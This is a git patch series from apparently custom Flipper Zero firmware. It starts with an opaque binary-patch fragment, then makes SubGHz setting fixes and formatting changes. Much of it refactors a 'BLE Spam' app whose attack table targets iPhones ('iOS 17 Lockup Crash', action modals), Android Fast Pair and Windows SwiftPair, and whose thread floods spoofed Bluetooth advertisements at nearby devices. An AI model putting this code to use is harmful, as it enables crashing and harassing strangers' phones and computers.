zcmeBEoWeLkqK1Qwfq|jd==@$F#aJBV?!>U}oXkrg$IsKnF+?MH>I6?d1_d6bhyVMJ zC9FC4bb)QA^-R4fDhvvpAHS4yUgy}cj?b!W2aCznfLZD($=m#ro%TM?J;waY%PE`?`>}%yR3|D9b0i7WgBc`Lw0)aX?J0Lti4-1 zP((lll$W49oFWNgVuVP95D~{~%OE1oFwm$mV~C0nFfjrl!2IrQ_fitGME+Zwv-90^ ze&=_-^ZUN@t#^$xKPOQ=T1^l{qCMAE0KIIhRRiJgp}Pz2L)U^!>~6b#3Xu?}2Raf+oHe z-Kzm?`IDf0bHS3CJNq2F!>Q5h7+PmwVLh!ka16~c1`TcEjHw)B0<`M=ZjWT9Em=dK z0hX0wR+iJAm8A&;{cf=e6GWu`#ZA`SlQYINEiBAVA(Lu{SD$je`|RykEQ?02b&hXU z@8!0Y--&mOelz*;oZ|=E+L~SGk2jST4=&CaewV1OsVD{oz7t!2+5?()#m4Rg0t=gfFh z`+?tgm*k#XcA`1`w>uMqDL+qHxrtZJt=zaE{r0%K*Dp-T%a7PE#w(;^%Yc(H^u5pR_*#6_%Hg_i?c9;UP!1tKlBYD*xE zviw1;VRfvICbJ`AtzJ7_tw{?CZmz&KGe!YVR&Avu1vrWdhr_zCLFW&8C?+*Em7?{O zUQYso4AuE06d`?~2{J{L!-hkAPz*?--=~o|k;`8rS+!c2*L3>l4LBTK^uAC`1<-?v zpa8|_Xv*uQdaejb*|k6tbLfF9LPd1}Ocmgezb44z>{{%TCiJ9`FHjeQd?b(P4Jd~K z@p^40@Ljk-O|VMA2t0+Wuop-};2+ZqFNyAMv3mI?&nU;~=?HAs#or6vd3FU1D2Icy z`S}`oQ@hQomHp)eKQ9WLV!AM58QP#HS)-XDS&M-s5$iIN*ksb1^)9mo>y16A?7onM zd_0z^fLtd64^PuPvOpkNJ!VOkWig2u+C*9`X2h~IgDoc1gJO12gsenWJ-w2t1fVkO zEpEZ>Mx={n1d?^J2GZh2JPB?wW&>|@BbQ5|lH ziF8jCiC$bNAz3uWlxk+oCbQ9GFz%&AmJWk%q+nZSr3aYQfjU@GAA zC=+s6I5-Rli{v~7W@Q}C!es?9lKjCUzrV_=?JBxm(+;>!0+NsoNf>tPD#JycWq2yh zaCG!sGM&ROi0-=oLd%y&lLmMQd9E0O{p*yW=#47G)zPQuW0j~}C5=Y86ddBCM+l)> zEGT{gS9FT6L_QCO>JdxV&T;VpsbCUP&8!ha>;;pVWNA5c0zz^=&{)r76Yne^8pqN(57Sqr;V04i5-MGBn8;{wWw0J1`~JjLs9MQUB5;O#$>M zGO#W>2E_|%A=On3W17ij=OKP#v3Q6(0CoQ+ebTpIu70`tq(Gm*{n^zoSDzH<6SzOS z{x`YQ-LF&F2fu>C@Uqn0+SmdwT7#T h9yV-#MO?C{f*{J0;x3Ng=y?L5ggraowlA|{#ox_gndtxk diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index fb59ee5b5..280111515 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -3,6 +3,7 @@ #include #include #include +#include #include #include "ble_spam_icons.h" #include From 2d9090b2de238a0aff394cfeddac9a3a2bb09476 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 17 Oct 2023 22:15:42 +0300 Subject: [PATCH 16/56] fix niceflors --- applications/main/subghz/scenes/subghz_scene_receiver_config.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 579218bd3..09c3976cc 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -12,6 +12,7 @@ enum SubGhzSettingIndex { SubGhzSettingIndexIgnoreCars, SubGhzSettingIndexIgnoreMagellan, SubGhzSettingIndexIgnorePrinceton, + SubGhzSettingIndexIgnoreNiceFlorS, SubGhzSettingIndexSound, SubGhzSettingIndexResetToDefault, SubGhzSettingIndexLock, @@ -451,7 +452,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore NiceFlorS / Nice One", + "Ignore Nice Flor-S / Nice One", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_niceflors, subghz); From b93a06354f22dbdd604ed911fdcc27eeeffa393e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 17 Oct 2023 23:41:23 +0300 Subject: [PATCH 17/56] upd changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 597fcd514..fc228c8da 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ## New changes * SubGHz: Add 4 more systems to Add Manually (untested!) * SubGHz: Add Manually fixes +* SubGHz: Added NiceFlor-S to ignore options, removed colons. (by @G2Dolphin | PR #620) * Misc code cleanup * RGB: Fix white color on reboot, move settings, add custom color option * **BLE Spam app** updated to latest version (Android, Windows support) (by @Willy-JL) -> (app can be found in builds ` `, `e`, `n`, `r`) From 7679981dbe41bda9ae5a4e57ddcb34e53fa9c1df Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 01:45:04 +0100 Subject: [PATCH 18/56] Fix subghz read config indexes --- .../main/subghz/scenes/subghz_scene_receiver_config.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 4b88ffe5f..0a8be5083 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -5,19 +5,21 @@ enum SubGhzSettingIndex { SubGhzSettingIndexFrequency, - SubGhzSettingIndexHopping, SubGhzSettingIndexModulation, + SubGhzSettingIndexHopping, + SubGhzSettingIndexRAWSound = SubGhzSettingIndexHopping, SubGhzSettingIndexBinRAW, + SubGhzSettingIndexRAWRSSIThreshold = SubGhzSettingIndexBinRAW, SubGhzSettingIndexIgnoreStarline, SubGhzSettingIndexIgnoreCars, SubGhzSettingIndexIgnoreMagellan, + SubGhzSettingIndexIgnorePrinceton, + SubGhzSettingIndexIgnoreNiceFlorS, SubGhzSettingIndexIgnoreWeather, SubGhzSettingIndexIgnoreTPMS, - SubGhzSettingIndexIgnorePrinceton, SubGhzSettingIndexSound, SubGhzSettingIndexResetToDefault, SubGhzSettingIndexLock, - SubGhzSettingIndexRAWThresholdRSSI, }; #define RAW_THRESHOLD_RSSI_COUNT 11 From 9982d54030ebd2f46974059461c8aa1919c6501c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 01:46:16 +0100 Subject: [PATCH 19/56] Add xtreme cta android popup --nobuild --- applications/external/ble_spam/protocols/fastpair.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 38759a623..8d03a6719 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -35,6 +35,7 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc 0xF38C02, // Boykisser 0x1448C9, // BLM 0xD5AB33, // Xtreme + 0x0C0B67, // Xtreme Cta 0x13B39D, // Talking Sasquach 0xAA1FE1, // ClownMaster }; From 9abe7cf3d27c88c4a4c425b21533c9284ded8c83 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 01:51:24 +0100 Subject: [PATCH 20/56] Format --nobuild --- lib/subghz/protocols/acurite_592txr.c | 4 ++-- lib/subghz/protocols/acurite_606tx.c | 4 ++-- lib/subghz/protocols/acurite_609txc.c | 4 ++-- lib/subghz/protocols/ambient_weather.c | 4 ++-- lib/subghz/protocols/auriol_ahfl.c | 4 ++-- lib/subghz/protocols/auriol_hg0601a.c | 4 ++-- lib/subghz/protocols/gt_wt_02.c | 4 ++-- lib/subghz/protocols/gt_wt_03.c | 4 ++-- lib/subghz/protocols/infactory.c | 4 ++-- lib/subghz/protocols/lacrosse_tx141thbv2.c | 4 ++-- lib/subghz/protocols/nexus_th.c | 4 ++-- lib/subghz/protocols/oregon_v1.c | 4 ++-- lib/subghz/protocols/thermopro_tx4.c | 4 ++-- lib/subghz/protocols/tx_8300.c | 4 ++-- lib/subghz/protocols/wendox_w6726.c | 4 ++-- 15 files changed, 30 insertions(+), 30 deletions(-) diff --git a/lib/subghz/protocols/acurite_592txr.c b/lib/subghz/protocols/acurite_592txr.c index c99b0140a..8bca10442 100644 --- a/lib/subghz/protocols/acurite_592txr.c +++ b/lib/subghz/protocols/acurite_592txr.c @@ -86,8 +86,8 @@ const SubGhzProtocol ws_protocol_acurite_592txr = { .name = WS_PROTOCOL_ACURITE_592TXR_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_acurite_592txr_decoder, .encoder = &ws_protocol_acurite_592txr_encoder, diff --git a/lib/subghz/protocols/acurite_606tx.c b/lib/subghz/protocols/acurite_606tx.c index 1f0e7284e..7e56cebd2 100644 --- a/lib/subghz/protocols/acurite_606tx.c +++ b/lib/subghz/protocols/acurite_606tx.c @@ -69,8 +69,8 @@ const SubGhzProtocol ws_protocol_acurite_606tx = { .name = WS_PROTOCOL_ACURITE_606TX_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_606tx_decoder, .encoder = &ws_protocol_acurite_606tx_encoder, diff --git a/lib/subghz/protocols/acurite_609txc.c b/lib/subghz/protocols/acurite_609txc.c index 3f7c2bb73..097c6043c 100644 --- a/lib/subghz/protocols/acurite_609txc.c +++ b/lib/subghz/protocols/acurite_609txc.c @@ -70,8 +70,8 @@ const SubGhzProtocol ws_protocol_acurite_609txc = { .name = WS_PROTOCOL_ACURITE_609TXC_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_609txc_decoder, .encoder = &ws_protocol_acurite_609txc_encoder, diff --git a/lib/subghz/protocols/ambient_weather.c b/lib/subghz/protocols/ambient_weather.c index ea2ae819d..9d3f63df9 100644 --- a/lib/subghz/protocols/ambient_weather.c +++ b/lib/subghz/protocols/ambient_weather.c @@ -84,8 +84,8 @@ const SubGhzProtocol ws_protocol_ambient_weather = { .name = WS_PROTOCOL_AMBIENT_WEATHER_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_ambient_weather_decoder, .encoder = &ws_protocol_ambient_weather_encoder, diff --git a/lib/subghz/protocols/auriol_ahfl.c b/lib/subghz/protocols/auriol_ahfl.c index 9ae5fe672..c43a44af1 100644 --- a/lib/subghz/protocols/auriol_ahfl.c +++ b/lib/subghz/protocols/auriol_ahfl.c @@ -81,8 +81,8 @@ const SubGhzProtocol ws_protocol_auriol_ahfl = { .name = WS_PROTOCOL_AURIOL_AHFL_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_ahfl_decoder, .encoder = &ws_protocol_auriol_ahfl_encoder, diff --git a/lib/subghz/protocols/auriol_hg0601a.c b/lib/subghz/protocols/auriol_hg0601a.c index 3d564f80f..1c9d9c032 100644 --- a/lib/subghz/protocols/auriol_hg0601a.c +++ b/lib/subghz/protocols/auriol_hg0601a.c @@ -80,8 +80,8 @@ const SubGhzProtocol ws_protocol_auriol_th = { .name = WS_PROTOCOL_AURIOL_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_th_decoder, .encoder = &ws_protocol_auriol_th_encoder, diff --git a/lib/subghz/protocols/gt_wt_02.c b/lib/subghz/protocols/gt_wt_02.c index dc783285c..213516679 100644 --- a/lib/subghz/protocols/gt_wt_02.c +++ b/lib/subghz/protocols/gt_wt_02.c @@ -83,8 +83,8 @@ const SubGhzProtocol ws_protocol_gt_wt_02 = { .name = WS_PROTOCOL_GT_WT_02_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_02_decoder, .encoder = &ws_protocol_gt_wt_02_encoder, diff --git a/lib/subghz/protocols/gt_wt_03.c b/lib/subghz/protocols/gt_wt_03.c index 482d33bd6..cb0c94af3 100644 --- a/lib/subghz/protocols/gt_wt_03.c +++ b/lib/subghz/protocols/gt_wt_03.c @@ -109,8 +109,8 @@ const SubGhzProtocol ws_protocol_gt_wt_03 = { .name = WS_PROTOCOL_GT_WT_03_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_03_decoder, .encoder = &ws_protocol_gt_wt_03_encoder, diff --git a/lib/subghz/protocols/infactory.c b/lib/subghz/protocols/infactory.c index f4c355ff9..f1ee3432b 100644 --- a/lib/subghz/protocols/infactory.c +++ b/lib/subghz/protocols/infactory.c @@ -94,8 +94,8 @@ const SubGhzProtocol ws_protocol_infactory = { .name = WS_PROTOCOL_INFACTORY_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_infactory_decoder, .encoder = &ws_protocol_infactory_encoder, diff --git a/lib/subghz/protocols/lacrosse_tx141thbv2.c b/lib/subghz/protocols/lacrosse_tx141thbv2.c index 4f4a112c1..8825d922a 100644 --- a/lib/subghz/protocols/lacrosse_tx141thbv2.c +++ b/lib/subghz/protocols/lacrosse_tx141thbv2.c @@ -76,8 +76,8 @@ const SubGhzProtocol ws_protocol_lacrosse_tx141thbv2 = { .name = WS_PROTOCOL_LACROSSE_TX141THBV2_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_lacrosse_tx141thbv2_decoder, .encoder = &ws_protocol_lacrosse_tx141thbv2_encoder, diff --git a/lib/subghz/protocols/nexus_th.c b/lib/subghz/protocols/nexus_th.c index 76925a009..9307194bb 100644 --- a/lib/subghz/protocols/nexus_th.c +++ b/lib/subghz/protocols/nexus_th.c @@ -356,8 +356,8 @@ const SubGhzProtocol ws_protocol_nexus_th = { .name = WS_PROTOCOL_NEXUS_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_nexus_th_decoder, .encoder = &ws_protocol_nexus_th_encoder, diff --git a/lib/subghz/protocols/oregon_v1.c b/lib/subghz/protocols/oregon_v1.c index b8ca85106..5967e9625 100644 --- a/lib/subghz/protocols/oregon_v1.c +++ b/lib/subghz/protocols/oregon_v1.c @@ -95,8 +95,8 @@ const SubGhzProtocol ws_protocol_oregon_v1 = { .name = WS_PROTOCOL_OREGON_V1_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_oregon_v1_decoder, .encoder = &ws_protocol_oregon_v1_encoder, diff --git a/lib/subghz/protocols/thermopro_tx4.c b/lib/subghz/protocols/thermopro_tx4.c index 56b19372e..9adaacac1 100644 --- a/lib/subghz/protocols/thermopro_tx4.c +++ b/lib/subghz/protocols/thermopro_tx4.c @@ -79,8 +79,8 @@ const SubGhzProtocol ws_protocol_thermopro_tx4 = { .name = WS_PROTOCOL_THERMOPRO_TX4_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_thermopro_tx4_decoder, .encoder = &ws_protocol_thermopro_tx4_encoder, diff --git a/lib/subghz/protocols/tx_8300.c b/lib/subghz/protocols/tx_8300.c index 2ef1b60c8..b0686a774 100644 --- a/lib/subghz/protocols/tx_8300.c +++ b/lib/subghz/protocols/tx_8300.c @@ -90,8 +90,8 @@ const SubGhzProtocol ws_protocol_tx_8300 = { .name = WS_PROTOCOL_TX_8300_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_tx_8300_decoder, .encoder = &ws_protocol_tx_8300_encoder, diff --git a/lib/subghz/protocols/wendox_w6726.c b/lib/subghz/protocols/wendox_w6726.c index a0d20c9a0..a5ef0a026 100644 --- a/lib/subghz/protocols/wendox_w6726.c +++ b/lib/subghz/protocols/wendox_w6726.c @@ -84,8 +84,8 @@ const SubGhzProtocol ws_protocol_wendox_w6726 = { .name = WS_PROTOCOL_WENDOX_W6726_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_wendox_w6726_decoder, .encoder = &ws_protocol_wendox_w6726_encoder, From dfc2309a3a6d9024c899cf2fd82c709dfa35ba3e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 05:13:43 +0100 Subject: [PATCH 21/56] BLE Spam refactor namespace and use viewdispatcher --- applications/external/ble_spam/ble_spam.c | 126 ++++++++++-------- .../external/ble_spam/protocols/_base.h | 8 +- .../external/ble_spam/protocols/_registry.c | 10 +- .../external/ble_spam/protocols/_registry.h | 10 +- .../external/ble_spam/protocols/continuity.c | 6 +- .../external/ble_spam/protocols/continuity.h | 2 +- .../external/ble_spam/protocols/fastpair.c | 6 +- .../external/ble_spam/protocols/fastpair.h | 2 +- .../external/ble_spam/protocols/swiftpair.c | 6 +- .../external/ble_spam/protocols/swiftpair.h | 2 +- 10 files changed, 99 insertions(+), 79 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 931bd9505..dc05a748a 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -1,6 +1,7 @@ #include #include #include +#include #include "protocols/_registry.h" @@ -14,8 +15,8 @@ typedef struct { const char* title; const char* text; - const BleSpamProtocol* protocol; - BleSpamPayload payload; + const Protocol* protocol; + Payload payload; } Attack; static Attack attacks[] = { @@ -32,7 +33,7 @@ static Attack attacks[] = { { .title = "iOS 17 Lockup Crash", .text = "Newer iPhones, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -49,7 +50,7 @@ static Attack attacks[] = { { .title = "Apple Action Modal", .text = "Lock cooldown, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -66,7 +67,7 @@ static Attack attacks[] = { { .title = "Apple Device Popup", .text = "No cooldown, close range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -83,7 +84,7 @@ static Attack attacks[] = { { .title = "Android Device Pair", .text = "Reboot cooldown, long range", - .protocol = &ble_spam_protocol_fastpair, + .protocol = &protocol_fastpair, .payload = { .random_mac = true, @@ -96,7 +97,7 @@ static Attack attacks[] = { { .title = "Windows Device Found", .text = "Requires enabling SwiftPair", - .protocol = &ble_spam_protocol_swiftpair, + .protocol = &protocol_swiftpair, .payload = { .random_mac = true, @@ -108,7 +109,7 @@ static Attack attacks[] = { }, }; -#define ATTACK_COUNT ((signed)COUNT_OF(attacks)) +#define ATTACKS_COUNT ((signed)COUNT_OF(attacks)) uint16_t delays[] = {20, 50, 100, 200}; @@ -126,16 +127,15 @@ static int32_t adv_thread(void* ctx) { uint16_t delay; uint8_t* packet; uint8_t mac[GAP_MAC_ADDR_SIZE]; - BleSpamPayload* payload = &attacks[state->index].payload; - const BleSpamProtocol* protocol = attacks[state->index].protocol; + Payload* payload = &attacks[state->index].payload; + const Protocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); while(state->advertising) { if(protocol) { protocol->make_packet(&size, &packet, &payload->cfg); } else { - ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( - &size, &packet, NULL); + protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL); } furi_hal_bt_custom_adv_set(packet, size); free(packet); @@ -164,19 +164,23 @@ static void toggle_adv(State* state) { } } +enum { + ViewMain, +}; + #define PAGE_MIN (-3) -#define PAGE_MAX ATTACK_COUNT +#define PAGE_MAX ATTACKS_COUNT enum { PageHelpApps = PAGE_MIN, PageHelpDelay, PageHelpDistance, PageStart = 0, - PageEnd = ATTACK_COUNT - 1, + PageEnd = ATTACKS_COUNT - 1, PageAboutCredits = PAGE_MAX, }; static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; + State* state = *(State**)ctx; const char* back = "Back"; const char* next = "Next"; switch(state->index) { @@ -195,9 +199,9 @@ static void draw_callback(Canvas* canvas, void* ctx) { } const Attack* attack = - (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const BleSpamPayload* payload = attack ? &attack->payload : NULL; - const BleSpamProtocol* protocol = attack ? attack->protocol : NULL; + (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL; + const Payload* payload = attack ? &attack->payload : NULL; + const Protocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); @@ -285,7 +289,7 @@ static void draw_callback(Canvas* canvas, void* ctx) { sizeof(str), "%02i/%02i: %s", state->index + 1, - ATTACK_COUNT, + ATTACKS_COUNT, protocol ? protocol->get_name(&payload->cfg) : "Everything"); canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); @@ -308,37 +312,19 @@ static void draw_callback(Canvas* canvas, void* ctx) { } } -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; +static bool input_callback(InputEvent* input, void* ctx) { + View* view = ctx; + State* state = *(State**)view_get_model(view); + bool consumed = false; + if(input->type == InputTypeShort || input->type == InputTypeLong || input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); - } -} + consumed = true; -int32_t ble_spam(void* p) { - UNUSED(p); - State* state = malloc(sizeof(State)); - state->thread = furi_thread_alloc(); - furi_thread_set_callback(state->thread, adv_thread); - furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 4096); - - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); - Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); - - bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1; + bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; bool advertising = state->advertising; - switch(input.key) { + + switch(input->key) { case InputKeyOk: if(is_attack) toggle_adv(state); break; @@ -366,19 +352,53 @@ int32_t ble_spam(void* p) { break; case InputKeyBack: if(advertising) toggle_adv(state); - running = false; + consumed = false; break; default: - continue; + break; } - - view_port_update(view_port); } - gui_remove_view_port(gui, view_port); + view_commit_model(view, consumed); + return consumed; +} + +static uint32_t exit_callback(void* ctx) { + UNUSED(ctx); + return VIEW_NONE; +} + +int32_t ble_spam(void* p) { + UNUSED(p); + State* state = malloc(sizeof(State)); + state->thread = furi_thread_alloc(); + furi_thread_set_callback(state->thread, adv_thread); + furi_thread_set_context(state->thread, state); + furi_thread_set_stack_size(state->thread, 4096); + + Gui* gui = furi_record_open(RECORD_GUI); + ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(view_dispatcher); + view_dispatcher_set_event_callback_context(view_dispatcher, state); + + View* view = view_alloc(); + view_allocate_model(view, ViewModelTypeLockFree, sizeof(State*)); + with_view_model( + view, State * *model, { *model = state; }, false); + view_set_context(view, view); + view_set_draw_callback(view, draw_callback); + view_set_input_callback(view, input_callback); + view_set_previous_callback(view, exit_callback); + view_dispatcher_add_view(view_dispatcher, ViewMain, view); + + view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); + view_dispatcher_switch_to_view(view_dispatcher, ViewMain); + view_dispatcher_run(view_dispatcher); + + 